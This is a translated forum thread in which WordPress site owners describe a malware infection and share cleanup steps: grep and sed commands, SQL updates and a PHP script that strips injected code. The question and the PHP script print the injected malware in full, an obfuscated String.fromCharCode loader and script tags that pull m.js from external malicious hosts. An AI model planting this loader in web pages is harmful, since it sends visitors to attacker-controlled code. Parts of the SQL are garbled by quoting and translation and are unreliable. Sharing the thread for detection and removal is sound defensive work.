Sitio web de WordPress infectado por virus; ¿Cómo hacer una copia de seguridad o recuperar?

8 minutos de lectura

avatar de usuario
Gagandeep Singh

Mis sitios web de WordPress están infectados con código malicioso. ¿Qué puedo hacer para recuperar los datos o la copia de seguridad? Los sitios web muestran una página en blanco o redireccionan a alguna URL maliciosa. El siguiente código (y similar) se inyectó en muchas páginas (también se crearon muchos archivos con diferentes nombres):

<script type="text/javascript" src="https://dock.lovegreenpencils.ga/m.js?n=nb5"></script>
<script type=text/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,100,111,99,107,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();</script>

Algunos de mis sitios web infectados (advertencia: visitar puede infectar) :

https://lahuriyaconstruction.com/
https://getnonveg.com/

avatar de usuario
Marc Simon Uhl

Lo mismo aquí: abra su base de datos en phpmyadmin e ingrese lo siguiente en el cuadro SQL:

UPDATE wp_posts SET post_content = REPLACE(post_content,"<script src="https://dock.lovegreenpencils.ga/m.js?n=nb5" type="text/javascript"></script>",'') WHERE post_content LIKE '%lovegreenpencils%' 

Limpiará todas las publicaciones del script, pero debe mirar de dónde provienen las entradas.

avatar de usuario
Ahmed Ibrahim

Me he enfrentado a este problema con más de 5 sitios web de WordPress,

Lo arreglé reemplazando todo dock.lovegreenpencils.ga enlaces con “#” para que no apunte a ninguna parte.

1 . Ejecute este comando dentro de su directorio de WordPress

 grep -r "lovegreenpencils" .

Debería poder ver todos los archivos que están infectados:
ingrese la descripción de la imagen aquí

  1. Reemplace todos los enlaces usando este comando
find . -name "*.php" |xargs sed -i "s/https:\/\/dock.lovegreenpencils.ga\/m.js?n=ns1/#/g"

Reemplazará todos los scripts coincidentes con “#”

  1. Limpie cualquier script agregado a su contenido de WP
UPDATE wp_posts SET post_content = REPLACE(post_content,"<script src="https://dock.lovegreenpencils.ga/m.js?n=nb5" type="text/javascript"></script>",'') WHERE post_content LIKE '%lovegreenpencils%'

Los enlaces pueden terminar con m.js?n=nb5 o m.js?n=ns1 no te olvides de eliminar ambos.

ACTUALIZAR:

ESTE código de Milcouse también genera las URL del script a partir de charCode Para no ser buscable.

String.fromCharCode(104,116,116,112,115,58,47,47,100,111,99,107,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,109,46,106,115)

Asegúrate de deshacerte de él también.

Generando URL para código de caracteres

Los pasos anteriores hicieron que mi sitio web volviera a funcionar.

  • Nota: este malware también deja un caparazón, estoy compilando todo lo que encuentro aquí. Siéntete libre de agregar cualquier cosa que creas que es valiosa.

    – Mundo Marino

    6 de diciembre de 2020 a las 5:50


  • Hola, Ahmed, tu publicación me ayudó mucho, simplemente no pude averiguar dónde encuentras este script “String.fromCharCode ()”. Revisé mi base de datos y archivos, pero no pude encontrarlo en ninguna parte.

    – kajdzo

    13 de febrero de 2021 a las 17:28

Hay algunas cosas que puede hacer para limpiar sus sitios de WordPress:

1- Revisa visualmente tu public_html carpeta donde está instalado tu WordPress. Es posible que vea nombres de archivo extraños en su carpeta raíz, así como wp-includes, wp-content o wp-admin carpetas y subcarpetas.

2- Comprueba si hay algún código inyectado en index.php (dentro de la carpeta raíz) y wp-config.php

3- Instalar valla de palabras plugin y haz un escaneo manual. Revisará la instalación de WordPress, los complementos y los archivos de temas e informará cualquier cosa inusual.

4- Después de todo esto, usando la pestaña de red de Chrome Developer Tools, actualice su página y verifique si hay conexiones a direcciones URL de aspecto malicioso.

  • elimine todos los complementos y temas que no use. No confíes ciegamente en ningún archivo .php bajo tu directorio wp-content.

    – Íñigo González

    19 de noviembre de 2020 a las 14:55

Aquí está el script que creé para borrar los archivos infectados en mis sitios…

Espero que ayude Esto es todo lo que puedo hacer por ti…

Como se mencionó, también debe eliminar la basura en post_content de wp_posts con el siguiente SQL:

ACTUALIZAR wp_posts SET post_content = REPLACE(post_content,””,”) DONDE post_content COMO ‘%lovegreenpencils%’

y vuelva a agregar la URL de su dominio en la opción siteurl/home en wp_options.

Guarde el siguiente código en un archivo php y cambie la configuración para que funcione en su sistema.

<?php

error_reporting(E_ALL);
ini_set('display_errors', 1);
ini_set('memory_limit',"256M");

ob_implicit_flush(1);

ob_start();

$backup_dir = "/var/badfiles";
$html_dir = "/var/www";

if(!is_dir($backup_dir)) mkdir($backup_dir);

$dir_iterator = new RecursiveDirectoryIterator($html_dir);
$iterator = new RecursiveIteratorIterator($dir_iterator, RecursiveIteratorIterator::SELF_FIRST);

foreach ($iterator as $file) {
   if($file == __FILE__) continue;

   if (pathinfo($file, PATHINFO_FILENAME) == "wp-beckup") {
    backup_file($file);
    if(unlink($file)) {
       echo "[LGP Found]: Removed and Backed Up ({$file})<br>";
    }
   }

   if (pathinfo($file, PATHINFO_FILENAME) == "lte_") {
        backup_file($file);
        if(unlink($file)) {
           echo "[LGP Found]: Removed and Backed Up ({$file})<br>";
        }
   }

$bad_text = "<script type=text/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,100,111,99,107,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();</script>";
if (pathinfo($file, PATHINFO_EXTENSION) == "php" ) {
        $contents = file_get_contents($file);

        if(strpos($contents, $bad_text) !== false) {

            backup_file($file);

            $contents = str_replace($bad_text, '', $contents);

            file_put_contents($file, $contents);

            echo "[LGP Found]: Code Removed and Backed Up ({$file})<br>";
        }
}

   if (pathinfo($file, PATHINFO_EXTENSION) == "php" || pathinfo($file, PATHINFO_EXTENSION) == "html") {
    $bad_text = "<script type="text/javascript" src="https://dock.lovegreenpencils.ga/m.js?n=nb5"></script>";
    $contents = file_get_contents($file);

    if(strpos($contents, $bad_text) !== false) {

            backup_file($file);

        $contents = str_replace($bad_text, '', $contents);

        file_put_contents($file, $contents);

        echo "[LGP Found]: Code Removed and Backed Up ({$file})<br>";
    }
   }

  $bad_text = "Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,100,111,99,107,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();";
   if (pathinfo($file, PATHINFO_EXTENSION) == "jshintrc" || pathinfo($file, PATHINFO_EXTENSION) == "map" || pathinfo($file, PATHINFO_EXTENSION) == "jsx" || pathinfo($file, PATHINFO_EXTENSION) == "php" || pathinfo($file, PATHINFO_EXTENSION) == "js" || pathinfo($file, PATHINFO_EXTENSION) == "gz" || pathinfo($file, PATHINFO_EXTENSION) == "json") {
        $contents = file_get_contents($file);

        if(strpos($contents, $bad_text) !== false) {

            backup_file($file);

            $contents = str_replace($bad_text, '', $contents);

            file_put_contents($file, $contents);

            echo "[LGP Found]: Code Removed and Backed Up ({$file})<br>";
        }
   }






   if (pathinfo($file, PATHINFO_FILENAME) == "wp-blog-header" && pathinfo($file, PATHINFO_EXTENSION) == "php") {
      $contents = file_get_contents($file);

      if(strpos($contents, 'MDIzMjU4YmJlYjdjZTk1NWE2OTBkY2EwNTZiZTg4NWQ=') !== false) {
        backup_file($file);

    $contents = substr($contents, strpos($contents, "cGFnZV9ub3RfZm91bmRfNDA0")+32);

    file_put_contents($file, $contents);
        echo "[VCD Found]: Code Removed and Backed Up ({$file})<br>";
      }
   }

}

function backup_file($file) {
    global $backup_dir;

    $contents = file_get_contents($file);
        if(!is_dir(dirname($backup_dir.$file))) {
       mkdir(dirname($backup_dir.$file),0777,true);
    }
file_put_contents($backup_dir.$file, $contents);
}

¡¡NO OLVIDES HACER BACKUP!!

Encontré este malware y escribí un script para limpiarlo. Aquí está el enlace a eso: https://gist.github.com/black-dragon74/86fc18a91e814019228c02531f0ea01c

Tenga en cuenta que este malware también se propaga a la base de datos. Para limpiar la base de datos, la expresión regular se encuentra en la parte superior del archivo. O simplemente puede ejecutar: perl -pi.bak -e "s/<script[\s\S]*?>[\s\S]*?<\/script>//g" infected_db.sql

Además, si se entera de cualquier otra URL que esté inyectando maliciosamente, hágamelo saber, actualizaré el script para incluir eso.

Saludos

avatar de usuario
Aadii mogol

en mi caso, tenía mucho código. He copiado todo el código de la columna post_content de wp_post o your table name y reemplazar con todos.

UPDATE wplm_posts SET post_content = REPLACE(post_content,"{{{WITHOUT BRACKET -- Your code here that is in Column Post_content}}}",'') WHERE post_content LIKE '%lovegreenpencils%' 

en mi caso mi código en post_content columna fue:

<script src="https://port.lovegreenpencils.ga/m.js?n=ns1" type="text/javascript"></script><script src="https://trend.linetoadsactive.com/m.js?n=ns1" type="text/javascript"></script><script src="https://start.transandfiestas.ga/m.js?n=ns1" type="text/javascript"></script>

Este código está trabajado para mí.

UPDATE wplm_posts SET post_content = REPLACE(post_content,"<script src="https://port.lovegreenpencils.ga/m.js?n=ns1" type="text/javascript"></script><script src="https://trend.linetoadsactive.com/m.js?n=ns1" type="text/javascript"></script><script src="https://start.transandfiestas.ga/m.js?n=ns1" type="text/javascript"></script>",'') WHERE post_content LIKE '%lovegreenpencils%' 

¿Ha sido útil esta solución?